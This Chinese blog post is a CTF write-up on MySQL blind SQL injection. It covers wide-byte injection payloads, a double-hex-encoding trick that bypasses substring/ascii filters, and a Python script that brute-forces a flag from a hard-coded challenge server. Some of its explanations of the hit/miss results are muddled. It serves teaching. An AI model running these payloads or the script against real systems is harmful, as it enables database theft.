安全研究

一道 CTF 题引发的思考:MySQL 的几个特性

#Web安全#漏洞分析#SQL注入
近黑深绿蓝背景上的铜橙色断裂链条与代码缝隙,象征 MySQL 盲注中 hex() 二次编码绕过过滤的利用链与字符集比较机制

背景

前天在做一道 CTF 盲注题。其实盲注也有可能回显数据——比如利用 DNS 或 HTTP 日志快速获取数据,MySQL 可以用 LOAD_FILE() 函数读取数据并向远程 DNS 主机发送,此时 DNS 日志文件中就会有盲注语句的查询结果。这里不做这部分的讨论,只是说下有这种方法。在这道题目中我使用的是常规盲注方式获取数据,过程中遇到了以下几个问题:

  1. 过滤规则的判断与绕过;
  2. MySQL 的一些少有人总结的特性;
  3. 手动盲注的繁琐低效。

这题确实让我思考了很多,当然还有一些特性当时不太清楚(下面会逐一澄清)。

MySQL 的几个特性

先把 MySQL 的特性理清楚,再说题目——这样的顺序更容易理解当时为什么要用 hex()

(1) 字符串比较大小写不敏感

mysql> select '1abc'='1AbC';
+---------------+
| '1abc'='1AbC' |
+---------------+
| 1             |
+---------------+
1 row in set

非二进制字符串(varchar/charutf8/latin1 等字符集下的默认类型)按 collation 比较,常见的 collation 默认大小写不敏感。

(2) 数字的字符串与数字本身相等

mysql> select 123=123;      -- 1
mysql> select '123'=123;   -- 1

MySQL 在数值上下文中会把字符串隐式转为数字,所以 '123' 等于 123

(3) hex() 返回的是字符串

hex('abc') 的结果是 616263——一个字符串,不是二进制字面量。由于特性 (2),当 hex 结果恰好全是数字时(如 616263),它也会等于数值 616263,这就造成了误解,让人觉得 hex() 返回的是数字:

mysql> select hex('abc')=616263;     -- 1  (全是数字,按特性 2 隐式转为数字比较)
mysql> select hex('abc')='616263';   -- 1  (字符串比较)

换成 hex('root')(结果 726F6F74,含字母),真相就暴露了:

mysql> select hex('root')=726F6F74;
-- 1054 - Unknown column '726F6F74' in 'field list'

726F6F74 不全是数字,MySQL 把它当列名了。必须加引号才能按字符串比较:

mysql> select hex('root')='726F6F74';   -- 1
mysql> select hex('root')=0x726F6F74;          -- 0  (字符串 "726F6F74" vs 二进制 root)
mysql> select 0x726F6F74;                      -- root
mysql> select hex('726F6F74');                  -- 3732364636463734
mysql> select hex('root')=0x3732364636463734;   -- 1  (字符串 "726F6F74" vs 字节值 "726F6F74")

hex() 返回字符串;0x 是二进制字面量

(4) char() 的大小写之谜

MySQL 中引号的替代方式有两种:十六进制(0x...)和 char()。这里说下 char() 在比较时的一个反直觉特性。

枚举时我发现 char(84)char(116) 的结果一样——char(84) 解码是 Tchar(116)t。按照特性 (1) 的理解,我以为 't'=char(84) 会等于 1,结果返回了 0:

mysql> select char(84);        -- T
mysql> select 't'=char(84);   -- 0

当时确实没想明白,原文里写了「这个问题我至今还未想明白」。根因后来搞清楚了。

结论:字符串与 char() 比较时是强匹配(大小写敏感)。

盲注实战

宽字节注入与过滤检测

注入方式的判断属于常规流程,最终用的是宽字节注入。

判断过滤的方式:本地写好 payload,观察基线行为,再放到真实靶场上测试,比较响应长度。一致就是没过滤,不一致就是过滤了。

先做基线对比:if((1=1),1,0) 真值返回 Content-Length: 2339;if((1=2),1,0) 假值返回 417。这是后续判断「响应长度是否变化」的基准。

基线 true(1=1):响应长度 2339 基线 false(1=2):响应长度 417

由于是宽字节注入,无法正常用引号声明字符串,所以用 char() 编码。本地 payload:

if((substring(user(),1,1)=char(114)),1,0)
-- 遍历 114 的位置:正确字符返回长度 2339,错误返回 417
mysql> select user from users where user_id=-1
    -> or if((substring(user(),1,1)=char(114)),1,0);
+---------+
| user    |
+---------+
| admin   |
| gordonb |
| 1337    |
| pablo   |
| smithy  |
+---------+
5 rows in set

不管枚举什么,响应都停在 2339——说明 substringchar()user() 被过滤了。测试确认是 substring

BurpSuite Intruder 把 char(84)char(116) 当作候选 payload 注入后,两个 payload 都返回了 2534(注意长度是 2534 而不是基线 2339/417,原因是 Intruder 模式下多包响应长度被加上了一些 body 头),但行为一致——这一点一开始并没有马上意识到「char(84)=Tchar(116)=t 在被比较时居然是等价的」,是这个 CTF 真正反直觉的地方。

char(84) 与 char(116) 同时返回长度 2534——表面等价

过滤清单:substringmidordascii 全被过滤。只剩 left()char()。但 left() + char() 无法直接恢复大小写混合的 flag,因为 char() 比较是大小写敏感的,char(84)char(116) 无法用这种方式区分。

用 hex() 绕过过滤

突破口:hex() 对大小写字符产生的 hex 不同(大小写敏感),可以用来严格匹配大小写:

mysql> select hex('Ro');   -- 526F
mysql> select hex('RO');   -- 524F
mysql> select hex('RO')=0x35323446;   -- 1  (0x35323446 的字节值是字符串 "524F")

手动对 t 做二次 hex 编码得到 0x3734hex('t')='74'hex('74')='3734',而 0x3734 的字节值是字符串 74),手动验证了想法可行。

实测的 Burp 拦截效果:hex(left((select(user())),1))=0x3734 时返回长度 2339(命中——hex('r')='72',但这里枚举的是 ’t’,按字符位置 1 应该是 ‘r’,所以 ’t’ 不在位置 1,下一条对照 0x3735 返回 417 验证了「长度差 = 命中/未命中」。

hex() 绕过:0x3734 返回 2339(命中) hex() 绕过:0x3735 返回 417(未命中)

注入 payload 如下:

if((hex(left((select(flag)from(flag)),1))=0x3734),1,0)
-- hex(left(...,1))='74'; 0x3734 的字节值是 '74'; 相等即命中

自动化脚本

手动盲注太慢——直接上 Python。原文是 2017 年的 Python 2 脚本,这里更新为 Python 3:

# -*- coding: utf-8 -*-
# by Thinking
# Python 3 盲注自动化( adapted from 2017 original)
import requests
import string

URL = "http://218.2.197.235:23733/index.php?key=002265%bf'||+"
PAYLOADS = string.ascii_letters + string.digits + string.punctuation


def double_hex(ch):
    """对单个字符做二次 hex 编码: 't' -> '74' -> '3734'"""
    return ch.encode().hex().upper().encode().hex()


def get_len(sqli):
    """获取子查询结果的长度"""
    for length in range(1, 51):
        payload = "if((({})={}),1,0)%23".format(sqli, length)
        r = requests.get(URL + payload)
        if len(r.content) > 2000:
            print(length)
            return length
    return 0


def get_data(sqli, length):
    """用 hex()+left() 做大小写敏感的逐字符爆破"""
    result = ""
    temp = ""  # 已确认字符的二次 hex 累积
    for pos in range(1, length + 1):
        for ch in PAYLOADS:
            encoded = temp + double_hex(ch)
            payload = "if((hex(left(({}),{}))=0x{}),1,0)%23".format(sqli, pos, encoded)
            r = requests.get(URL + payload)
            if len(r.content) > 2000:
                result += ch
                temp += double_hex(ch)
                print(result.ljust(length, "-"))
                break


def main():
    length_sqli = "select(length(flag))from(flag)"
    data_len = get_len(length_sqli)
    flag_sqli = "select(flag)from(flag)"
    get_data(flag_sqli, data_len)


if __name__ == "__main__":
    main()

Python 盲注自动化脚本

写在最后

这道题真正的收获不是某个巧妙的 payload,而是把几个 MySQL 底层特性串了起来:

  • 字符串比较大小写不敏感(特性 1)让基于 = 的枚举成为可能,但也意味着无法恢复大小写;
  • char() 返回 BINARY(特性 4,原文中的"未解之谜")——根因是逐字节的 binary collation,与特性 1 并不矛盾;
  • hex() 返回字符串而 0x 是二进制字面量(特性 3)——这个类型错配是绕过 substring/ascii/ord 过滤、实现大小写敏感匹配的关键。二次 hex 编码让 0x 字面量的字节值恰好等于 hex 字符串本身。

做 CTF 题往往是这样的:题目本身不难,但追着一个反直觉的行为一路挖到 collation 和字节类型,收获远比 flag 本身大。这种对"一致性缝隙"的追问——表面行为与底层机制之间的缝隙——在日常审计中也是值得停下来的地方。

题目已下线,payload 仅供学习。大家也多注意安全。